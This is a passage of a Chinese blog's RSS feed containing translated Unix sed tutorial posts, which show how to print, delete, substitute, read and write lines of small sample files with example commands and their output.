&lt;p&gt;n;n; 命令呢输出了前两行，然后读入第三行到pattern space，N命令则对如下一行并与第三行合并，然后d命令删除pattern space中的内容，于是三四行被清空，然后读入56行，继续重复。就这样。作者这里给出的例子不直观，我举个例子，我的文件内容是&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ cat test.txt
1
2
3
4
5
6
7
8
9&lt;/pre&gt;
&lt;p&gt;执行上面的命令后，会输出&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;1
2
5
6
9&lt;/pre&gt;
&lt;p&gt;明白了吧&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;9.输出某个范围行内以X结果的那些行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/Unix/,${/X$/p;}&#39; file
HPUX&lt;/pre&gt;
&lt;p&gt;这里首先制定了从/Unix/匹配开始到文件尾部的这些行，然后呢，在这些之间的行，如果以X结果，就输出。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;10.输出不包括开始和结尾的那些行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/Solaris/,/HPUX/{//!p;}&#39; file
Unix
Linux&lt;/pre&gt;
&lt;p&gt;这个命令就会只输出/Solaris/和/HPUX/之间的行，不包括他们两个。&lt;/p&gt;
&lt;p&gt;这里要说一下//这个，当匹配了Solaris的时候就进入了花括号，因为这个里面没有提供任何匹配，所以就考虑最后一次匹配模式，也就是相当于是考虑Solaris这一行，他不被打印，当到了HPUX这一匹配，//又代表了HPUX匹配，这一行也不打印。&lt;/p&gt;
&lt;p&gt;Demo完了，你懂了么。&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第六篇–删除文件内容</title>
      <link>http://blog.leaver.me/2013/08/10/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E5%85%AD%E7%AF%87%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9/</link>
      <pubDate>Sat, 10 Aug 2013 13:15:38 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/10/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E5%85%AD%E7%AF%87%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9/</guid>
      <description>&lt;p&gt;其实，删除和替换是由一些相同的，不过，这里我们单独列出来，通过25个例子穿插讲解sed删除文件的一些方法，使用的示例文件如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ cat file
Cygwin
Unix
Linux
Solaris
AIX&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;1.删除第一行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;1d&#39; file
Unix
Linux
Solaris
AIX&lt;/pre&gt;
&lt;p&gt;d就是删除，1就是指第1行，记得哦，这不会影响到源文件，一般，做删除的时候一般要加-i参数，前面说过了&lt;/p&gt;
&lt;pre&gt;sed -i &#39;1d&#39; file&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.删除指定行，这里删除第3行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;3d&#39; file
Cygwin
Unix
Solaris
AIX&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.删除最后一行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;$d&#39; file
Cygwin
Unix
Linux
Solaris&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;4.删除范围行，这里删除2-4行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;2,4d&#39; file
Cygwin
AIX&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;5.保留指定的行，这里保留2-4行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;2,4!d&#39; file
Unix
Linux
Solaris&lt;/pre&gt;
&lt;p&gt;！这个是对前面的2,4来操作，是非的意思，也就是不是2-4行的行，这样除去2-4行，其他的都删除了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;6.删除第一行和最后一行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;1d;$d&#39; file
Unix
Linux
Solaris&lt;/pre&gt;
&lt;p&gt;分号隔开两个命令，你懂的，也可以删除第二行和第三行等等. &amp;lsquo;2d;3d&amp;rsquo;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;7.删除以指定字符开头的行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;/^L/d&#39; file
Cygwin
Unix
Solaris
AIX&lt;/pre&gt;
&lt;p&gt;这里就把以L开头的Linux这一行删除了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;8.删除以指定字符结尾的行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;/x$/d&#39; file
Cygwin
Solaris
AIX&lt;/pre&gt;
&lt;p&gt;这里就删除了，可以看到AIX没有删除，unix区分大小写你懂的&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;9.忽略大小写，都删除&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;/[xX]$/d&#39; file
Cygwin
Solaris&lt;/pre&gt;
&lt;p&gt;[xX]匹配x或X，所以就成功了嘛&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;10.删除文件中的空行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;/^$/d&#39; file
Cygwin
Unix
Linux
Solaris
AIX&lt;/pre&gt;
&lt;p&gt;^匹配开头，$匹配结果，中间啥都没有，这样就匹配了空行，但是注意哦，如果某一行全是空格，这个命令是不会删除这一行的。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;11.删除空行或是仅仅包含空格的行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;/^ *$/d&#39; file
Cygwin
Unix
Linux
Solaris
AIX&lt;/pre&gt;
&lt;p&gt;如果你看我前面的文章，这个就不用我说了吧，0个或多个空格就是匹配了所有的空行了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;12.删除完全是大写字母的行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;/^[A-Z]*$/d&#39; file
Cygwin
Unix
Linux
Solaris&lt;/pre&gt;
&lt;p&gt;[A-Z]就匹配了26个大写字母的任意一个&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;13.删除包含Unix匹配的行&lt;/span&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第五篇–替换文件内容续</title>
      <link>http://blog.leaver.me/2013/08/10/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%BA%94%E7%AF%87%E6%9B%BF%E6%8D%A2%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9%E7%BB%AD/</link>
      <pubDate>Sat, 10 Aug 2013 09:05:55 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/10/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%BA%94%E7%AF%87%E6%9B%BF%E6%8D%A2%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9%E7%BB%AD/</guid>
      <description>&lt;p&gt;前面已经学习过&lt;a href=&#34;http://leaver.me/archives/3174.html&#34;&gt;替换文件内容&lt;/a&gt;了，本文我们学习一些更频繁使用的搜索替换操作.&lt;/p&gt;
&lt;p&gt;示例文件使用：&lt;/p&gt;
&lt;pre&gt;$ cat file
RE01:EMP1:25:2500
RE02:EMP2:26:2650
RE03:EMP3:24:3500
RE04:EMP4:27:2900&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;1.替换每行开始的两个字母，这里用XX来替换&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/^../XX/&#39; file
XX01:EMP1:25:2500
XX02:EMP2:26:2650
XX03:EMP3:24:3500
XX04:EMP4:27:2900&lt;/pre&gt;
&lt;p&gt;s代表substitute，前面说过了，^用来匹配行开头，.表示任意一个字符，两个..就是你懂的，&lt;/p&gt;
&lt;p&gt;其实，不要^符号也是可以的，因为默认就是从开头开始匹配，如下也可以实现&lt;/p&gt;
&lt;pre&gt;sed &#39;s/../XX/&#39; file&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.删除每行开头的两个字符&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/^..//&#39; file
01:EMP1:25:2500
02:EMP2:26:2650
03:EMP3:24:3500
04:EMP4:27:2900&lt;/pre&gt;
&lt;p&gt;看到没有，后两个斜线之间没有内容，也就是用空字符来替换开头的两个字符，就实现了删除&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.要是想删除每行最后的两个字符呢&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/..$//&#39; file
RE01:EMP1:25:25
RE02:EMP2:26:26
RE03:EMP3:24:35
RE04:EMP4:27:29&lt;/pre&gt;
&lt;p&gt;再次强调，$在不同的情况下表示不同的意思，这里匹配行尾，有时候也匹配文件尾部&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;4.向每行末尾添加内容&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/$/.Rs/&#39; file
RE01:EMP1:25:2500.Rs
RE02:EMP2:26:2650.Rs
RE03:EMP3:24:3500.Rs
RE04:EMP4:27:2900.Rs&lt;/pre&gt;
&lt;p&gt;这里，先匹配行尾，然后把&amp;quot;.Rs&amp;quot;添加到行尾&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;5.在每行开头添加空格&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/^/   /&#39; file
   RE01:EMP1:25:Rs.2500
   RE02:EMP2:26:Rs.2650
   RE03:EMP3:24:Rs.3500
   RE04:EMP4:27:Rs.2900&lt;/pre&gt;
&lt;p&gt;还记得前面说过的么，sed默认不影响原始文件，要是想更新原始文件，请加-i参数&lt;/p&gt;
&lt;pre&gt;$ sed -i &#39;s/^/   /&#39; file
$ cat file
   RE01:EMP1:25:Rs.2500
   RE02:EMP2:26:Rs.2650
   RE03:EMP3:24:Rs.3500
   RE04:EMP4:27:Rs.2900&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;6.移除开始的空格&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/^ *//&#39; file
RE01:EMP1:25:2500
RE02:EMP2:26:2650
RE03:EMP3:24:3500
RE04:EMP4:27:2900&lt;/pre&gt;
&lt;p&gt;^匹配行首，然后是一个空格，然后是*，表示一个或多个空格嘛，然后替换为空字符&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;7.移除行首和行尾的空格&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/^ *//; s/ *$//&#39; file
RE01:EMP1:25:2500
RE02:EMP2:26:2650
RE03:EMP3:24:3500
RE04:EMP4:27:2900&lt;/pre&gt;
&lt;p&gt;不要怕，从分号处分开，就是两条命令啦，一个做行首的，一个做行尾的，前面说过的，可以使用-e参数来分开&lt;/p&gt;
&lt;pre&gt;sed -e &#39;s/^ *//&#39; -e &#39;s/ *$//&#39; file&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;8.如何在一个字符串前后添加一些其他字符呢，可以用来字符串转义&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/.*/&#34;&amp;amp;&#34;/&#39; file
&#34;RE01:EMP1:25:Rs.2500&#34;
&#34;RE02:EMP2:26:Rs.2650&#34;
&#34;RE03:EMP3:24:Rs.3500&#34;
&#34;RE04:EMP4:27:Rs.2900&#34;&lt;/pre&gt;
&lt;p&gt;前两个斜线匹配了所有字符，也就是本行，然后后面两个斜线是替换的内容，注意里面的&amp;amp;符号，之前也说过的，表示匹配到的字符，也就是本行了。所有就这样啦&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;9.移除行首和行尾的一个字符（多个你也会的啦）&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/^.//;s/.$//&#39; file
RE01:EMP1:25:2500
RE02:EMP2:26:2650
RE03:EMP3:24:3500
RE04:EMP4:27:2900&lt;/pre&gt;
&lt;p&gt;分开看看，你可以的&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;10.删除第一个数字之前的所有字符&lt;/span&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第四篇–选择性打印</title>
      <link>http://blog.leaver.me/2013/08/10/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E5%9B%9B%E7%AF%87%E9%80%89%E6%8B%A9%E6%80%A7%E6%89%93%E5%8D%B0/</link>
      <pubDate>Sat, 10 Aug 2013 08:39:56 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/10/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E5%9B%9B%E7%AF%87%E9%80%89%E6%8B%A9%E6%80%A7%E6%89%93%E5%8D%B0/</guid>
      <description>&lt;p&gt;本文，我们将会学习如何选择性的打印（其实，这里的打印是print，也就是输出到标准输出的意思），用到的示例文件是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ cat file 
Gmail 10 
Yahoo 20 
Redif 18&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;1.打印所有内容&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;&#39; file
Gmail 10
Yahoo 20
Redif 18&lt;/pre&gt;
&lt;p&gt;一对单引号，没有任何参数即可&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.如何打印包含Gmail的那一行.(grep也可以实现这个功能)&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;/Gmail/p&#39; file
Gmail 10
Gmail 10
Yahoo 20
Redif 18&lt;/pre&gt;
&lt;p&gt;在斜线里面，我们指定正则匹配模式，p的意思呢，就是print，打印的意思，也就是打印包含Gmail这一行，但是我们看到Gmail打印了两次，为什么，因为sed的默认行为是在解析完一行之后就把他输出出来，也就是对于Gmail这一行，先执行p解析，解析完成后再默认打印一次，就打印了两次，而其他的，没有命令解析，直接读入完成后输出即可。&lt;/p&gt;
&lt;p&gt;如果得到期望的结果呢？&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/Gmail/p&#39; file
Gmail 10&lt;/pre&gt;
&lt;p&gt;-n参数会取消sed的默认打印行为，所以就ok了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.删除包含Gmail的那一行。（grep -v也有同样的效果）&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed  &#39;/Gmail/d&#39; file
Yahoo 20
Redif 18&lt;/pre&gt;
&lt;p&gt;d就是delete的意思，不多解释，&lt;/p&gt;
&lt;p&gt;同样，要想删除某一指定的行&lt;/p&gt;
&lt;pre&gt;$ sed &#39;1d&#39; file
Yahoo 20
Redif 18&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;4.打印直到模式匹配，这里我们从头一直打印到Yahoo&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed  &#39;/Yahoo/q&#39; file
Gmail 10
Yahoo 20&lt;/pre&gt;
&lt;p&gt;q就是quit的意思，这条命令就是对于前面的行都没啥可解析的，执行默认的打印即可，一到碰到Yahoo这一行，打印完成，就停止，退出，因此，就是上面的了&lt;/p&gt;
&lt;p&gt;打印某一指定范围行&lt;/p&gt;
&lt;p&gt;到此，我们一直在学习基于一个条件取一行或多行，现在，我们来学习打印指定范围行&lt;/p&gt;
&lt;p&gt;使用的示例文件如下：&lt;/p&gt;
&lt;pre&gt;$ cat file
Gmail 10
Yahoo 20
Redif 18
Inbox 15
Live  23
Hotml 09&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;5.打印前三行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;1,3p&#39; file
Gmail 10
Yahoo 20
Redif 18&lt;/pre&gt;
&lt;p&gt;-n先取消默认打印，然后1,3指定行范围，p表示打印，你想一下我们前面的q命令，就知道下面这个命令效果是一样的&lt;/p&gt;
&lt;pre&gt;$ sed &#39;3q&#39; file
Gmail 10
Yahoo 20
Redif 18&lt;/pre&gt;
&lt;p&gt;执行默认打印，到第三行的时候退出&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;6.通过模式指定范围，这里我打印从Yahoo到Live之间的行，包括本身&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/Yahoo/,/Live/p&#39; file
Yahoo 20
Redif 18
Inbox 15
Live  23&lt;/pre&gt;
&lt;p&gt;不用多解释了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;7.从指定模式到文件尾部，这里是从Redif到文件尾&lt;/span&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第三篇–读写文件</title>
      <link>http://blog.leaver.me/2013/08/09/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%B8%89%E7%AF%87%E8%AF%BB%E5%86%99%E6%96%87%E4%BB%B6/</link>
      <pubDate>Fri, 09 Aug 2013 16:52:56 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/09/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%B8%89%E7%AF%87%E8%AF%BB%E5%86%99%E6%96%87%E4%BB%B6/</guid>
      <description>&lt;p&gt;本文将展示如何将文件内容读入到sed输出，同时包含如何将一个文件的部分内容写入到另一文件&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;一.文件读取&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;假定有两个文件，file1和file2，内容分别如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ cat file1 
1apple 
1banana 
1mango&lt;/pre&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ cat file2 
2orange 
2strawberry&lt;/pre&gt;
&lt;p&gt;sed有两个选项用来读写文件&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;r filename : 读取filename指定的文件内容
w filename : 将内容写入filename指定的文件&lt;/pre&gt;
&lt;p&gt;看例子：&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;1.在file1的每一行读完之后读取file2的内容&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;r file2&#39; file1
1apple
2orange
2strawberry
1banana
2orange
2strawberry
1mango
2orange
2strawberry&lt;/pre&gt;
&lt;p&gt;r file2读取file2的所有内容，因此r之前没有知道那个行号或匹配，因此有了上面的输出，记住，sed的工作机制，每次读file1的一行，然后执行命令&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.如何在读取了file1的第一行之后将file2读入&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;1r file2&#39; file1
1apple
2orange
2strawberry
1banana
1mango&lt;/pre&gt;
&lt;p&gt;r前面加个1就行了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.当file1某行匹配了模式之后，读入file2&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;/banana/r file2&#39; file1
1apple
1banana
2orange
2strawberry
1mango&lt;/pre&gt;
&lt;p&gt;sed逐行读入file1，然后判断该行是否匹配banana，如果匹配，就读入file2&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;4.当file1读取完成后读入file2，其实就是合并两个文件&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;$r file2&#39; file1
1apple
1banana
1mango
2orange
2strawberry&lt;/pre&gt;
&lt;p&gt;这里只是演示一下，其实cat file1 file2就可以完成合并&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;&lt;em&gt;&lt;strong&gt;二.文件写入&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;使用一个file1文件，内容如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ cat file1
apple
banana
mango
orange
strawberry&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt; 1.将file1的2-4行写入到file2&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed -n &#39;2,4w file2&#39; file1&lt;/pre&gt;
&lt;p&gt;2,4w就是写2-4行的意思，那-n呢？默认情况下sed会把读入的文件处理的结果输出到标准输出，也就是终端，而为了不使用默认输出，-n就派上用场了，执行该命令终端不会有任何输出&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ cat file2
banana
mango
orange&lt;/pre&gt;
&lt;p&gt;查看file2内容，发现已经写入成功了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.从第三行开始全部写入file2&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed -n &#39;3,$w file2&#39; file1

$ cat file2
mango
orange
strawberry&lt;/pre&gt;
&lt;p&gt;就不多解释了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.如果是用正则呢？&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed -n &#39;/apple/,/mango/w file2&#39; file1

$ cat file2
apple
banana
mango&lt;/pre&gt;
&lt;p&gt;该命令将逐行读入file1，然后判断该行是否匹配apple，如果匹配，则作为起始行，然后继续读入，判断是否匹配mango，如果是，则作为终止行，然后将中间的内容写入到file2&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第二篇–替换文件内容</title>
      <link>http://blog.leaver.me/2013/08/09/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%BA%8C%E7%AF%87%E6%9B%BF%E6%8D%A2%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9/</link>
      <pubDate>Fri, 09 Aug 2013 16:24:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/09/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%BA%8C%E7%AF%87%E6%9B%BF%E6%8D%A2%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9/</guid>
      <description>&lt;p&gt;上一节中-&lt;a href=&#34;http://leaver.me/archives/3169.html&#34;&gt;Unix sed实用教程第一篇–向文件中增加一行&lt;/a&gt; 学习了添加文件，本节讲解数据内容替换.&lt;/p&gt;
&lt;p&gt;本节将使用sample1.txt文件作为示例，文件内容如下，都是些水果..：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;apple 
orange 
banana 
pappaya&lt;/pre&gt;
&lt;p&gt;1.向每一行的开头添加内容，这里我们添加“Fruit：”&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/^/Fruit: /&#39; sample1.txt 
Fruit: apple 
Fruit: orange 
Fruit: banana 
Fruit: pappaya&lt;/pre&gt;
&lt;p&gt;解析：s代表substitution，也就是替换，s之后是要替换/匹配的内容，斜线/用来分隔s以及要替换的原始内容还有要替换的最终内容，而&amp;rsquo;^&amp;lsquo;符号是说一个正则，用来匹配每一行的开头，匹配成功后在开头加上&amp;rsquo;Fruit:&amp;rsquo;。&lt;/p&gt;
&lt;p&gt;2.向每一行的行尾添加内容&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/$/ Fruit/&#39; sample1.txt 
apple Fruit 
orange Fruit 
banana Fruit 
pappaya Fruit&lt;/pre&gt;
&lt;p&gt;注意，这里的$和上一节的$符号表示的意义不同，这里则是表示行尾.&lt;/p&gt;
&lt;p&gt;3.如何替换指定的字符，这里将小写a替换成大写A&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/a/A/&#39; sample1.txt 
Apple 
orAnge 
bAnana 
pAppaya&lt;/pre&gt;
&lt;p&gt;注意，仅仅将每一行的第一个a替换了，不是所有，本例表示替换单个字符，你可以替换一个单词都是可以的.&lt;/p&gt;
&lt;p&gt;4.如何替换行内所有的字符，用A替换a&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/a/A/g&#39; sample1.txt 
Apple 
orAnge 
bAnAnA 
pAppAyA&lt;/pre&gt;
&lt;p&gt;注意，只是加了一个g选项，g为global的简写，就是全局，全部的意思。&lt;/p&gt;
&lt;p&gt;5.如何替换第二次出现的a?&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/a/A/2&#39; sample1.txt 
apple 
orange 
banAna 
pappAya&lt;/pre&gt;
&lt;p&gt;不使用g，而是使用数字来表示行内第几次出现的a，结果如上&lt;/p&gt;
&lt;p&gt;6.如何替换第二次之后的所有a呢？&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/a/A/2g&#39; sample1.txt 
apple 
orange 
banAnA 
pappAyA&lt;/pre&gt;
&lt;p&gt;很好理解对吧。&lt;/p&gt;
&lt;p&gt;7.如果只想替换第三行的a呢？&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;3s/a/A/g&#39; sample1.txt 
apple 
orange 
bAnAnA 
pappaya&lt;/pre&gt;
&lt;p&gt;回想一下第一节，在执行命令之前，会判断当前address是否满足条件，3就是地址&lt;/p&gt;
&lt;p&gt;8.想替换一个范围行内的数据呢&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;1,3s/a/A/g&#39; sample1.txt 
Apple 
orAnge 
bAnAnA 
pappaya&lt;/pre&gt;
&lt;p&gt;逗号隔开，即可&lt;/p&gt;
&lt;p&gt;9.如何替换整行呢？比如用apple is a Fruit替换apple&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/.*/&amp;amp; is a Fruit/&#39; sample1.txt 
apple is a Fruit 
orange is a Fruit 
banana is a Fruit 
pappaya is a Fruit&lt;/pre&gt;
&lt;p&gt;这里‘&amp;amp;’符号标识了模式匹配到的内容，而.*匹配了正行，.表示任意字符，*表示一个或多个，也就是匹配了整行,&amp;amp;因此就是整行内容，用来重命名一组文件的时候非常有用.&lt;/p&gt;
&lt;p&gt;10.如何进行多个替换，比如用A替换a，用P替换p&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/a/A/g; s/p/P/g&#39; sample1.txt 
APPle 
orAnge 
bAnAnA 
PAPPAyA&lt;/pre&gt;
&lt;p&gt;也就是用分号分开即可。或者也可以通过-e参数来做&lt;/p&gt;
&lt;pre&gt;$ sed -e &#39;s/a/A/g&#39; -e &#39;s/p/P/g&#39; sample1.txt 
APPle 
orAnge 
bAnAnA 
PAPPAyA&lt;/pre&gt;
&lt;p&gt;-e 选项就是当需要替换多个的时候来用的。&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第一篇--向文件中增加一行</title>
      <link>http://blog.leaver.me/2013/08/09/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%B8%80%E7%AF%87--%E5%90%91%E6%96%87%E4%BB%B6%E4%B8%AD%E5%A2%9E%E5%8A%A0%E4%B8%80%E8%A1%8C/</link>
      <pubDate>Fri, 09 Aug 2013 14:56:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/09/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%B8%80%E7%AF%87--%E5%90%91%E6%96%87%E4%BB%B6%E4%B8%AD%E5%A2%9E%E5%8A%A0%E4%B8%80%E8%A1%8C/</guid>
      <description>&lt;p&gt;Unix sed实用教程第一讲，本系列第一篇，有任何问题欢迎留言讨论。&lt;/p&gt;
